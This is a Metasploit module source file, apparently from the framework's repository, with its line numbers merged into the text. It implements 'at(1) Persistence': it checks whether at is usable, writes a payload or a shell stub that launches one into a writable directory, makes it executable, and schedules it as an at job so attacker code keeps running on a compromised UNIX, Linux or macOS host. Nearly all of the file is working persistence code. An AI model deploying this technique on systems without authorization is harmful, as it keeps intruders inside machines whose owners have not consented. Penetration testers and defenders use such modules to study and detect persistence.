Path: blob/master/modules/exploits/multi/persistence/at.rb
31999 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Exploit::FileDropper10include Msf::Exploit::EXE # for generate_payload_exe11include Msf::Exploit::Local::Persistence12include Msf::Exploit::Local::Timespec13prepend Msf::Exploit::Remote::AutoCheck14include Msf::Exploit::Deprecated15moved_from 'exploits/unix/local/at_persistence'1617def initialize(info = {})18super(19update_info(20info,21'Name' => 'at(1) Persistence',22'Description' => %q{23This module executes a metasploit payload utilizing at(1) to execute jobs at a specific time. It should work out of the box24with any UNIX-like operating system with atd running.25Verified on Kali linux and OSX 13.7.426},27'License' => MSF_LICENSE,28'Author' => [29'Jon Hart <[email protected]>'30],31'Targets' => [['Automatic', {} ]],32'DefaultTarget' => 0,33'Platform' => %w[unix linux osx],34'Arch' => [35ARCH_CMD,36ARCH_X86,37ARCH_X64,38ARCH_ARMLE,39ARCH_AARCH64,40ARCH_PPC,41ARCH_MIPSLE,42ARCH_MIPSBE43],44'SessionTypes' => ['meterpreter', 'shell'],45'DisclosureDate' => '1997-01-01', # http://pubs.opengroup.org/onlinepubs/007908799/xcu/at.html46'References' => [47['URL', 'https://linux.die.net/man/1/at'],48['URL', 'https://www.geeksforgeeks.org/at-command-in-linux-with-examples/'],49['ATT&CK', Mitre::Attack::Technique::T1053_002_AT],50['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],51['ATT&CK', Mitre::Attack::Technique::T1053_001_AT_LINUX],52],53'Notes' => {54'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],55'Stability' => [CRASH_SAFE],56'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]57}58)59)6061register_options([62OptString.new('TIME', [false, 'When to run job via at(1). See timespec', 'now']),63OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']),64])65end6667def check68return CheckCode::Safe("#{datastore['WritableDir']} does not exist") unless exists? datastore['WritableDir']69return CheckCode::Safe("#{datastore['WritableDir']} not writable") unless writable? datastore['WritableDir']7071return CheckCode::Safe('at(1) not found on system') unless command_exists? 'at'7273# we do a direct test with atq instead of reading at.allow and at.deny74token = Rex::Text.rand_text_alphanumeric(8)75if cmd_exec("atq && echo #{token}").include?(token)76return CheckCode::Vulnerable('at(1) confirmed to be usable as a persistence mechanism')77end7879CheckCode::Safe('at(1) not usable as a persistence mechanism likely due to explicit permissions in at.allow or at.deny')80end8182def install_persistence83fail_with(Failure::BadConfig, "TIME option isn't valid timespec") unless Msf::Exploit::Local::Timespec.valid_timespec?(datastore['TIME'])84payload_path = datastore['WritableDir']85payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"86payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)87payload_path << payload_name88vprint_status("Writing payload to #{payload_path}")8990if payload.arch.first == 'cmd'91upload_and_chmodx(payload_path, payload.encoded)92else93# because the payloads contents is imported into the at job, we use a stub to call our payload94# as it doesn't like binary payloads directly95payload_path_exe = "#{payload_path}#{rand_text_alphanumeric(1..2)}"96# stub, but keep payload_path name for consistency97upload_and_chmodx(payload_path, "#!/bin/sh\n#{payload_path_exe} &\n")98upload_and_chmodx(payload_path_exe, generate_payload_exe)99@clean_up_rc << "rm #{payload_path_exe}\n"100end101102@clean_up_rc << "rm #{payload_path}\n"103104job = cmd_exec("at -f #{payload_path} #{datastore['TIME']}")105job_id = job.split(' ')[1]106print_good("at job created with id: #{job_id}")107# this won't actually do anything since its not in a shell108@clean_up_rc << "atrm #{job_id}\n"109110print_status("Waiting up to #{datastore['WfsDelay']}sec for execution")111end112end113114115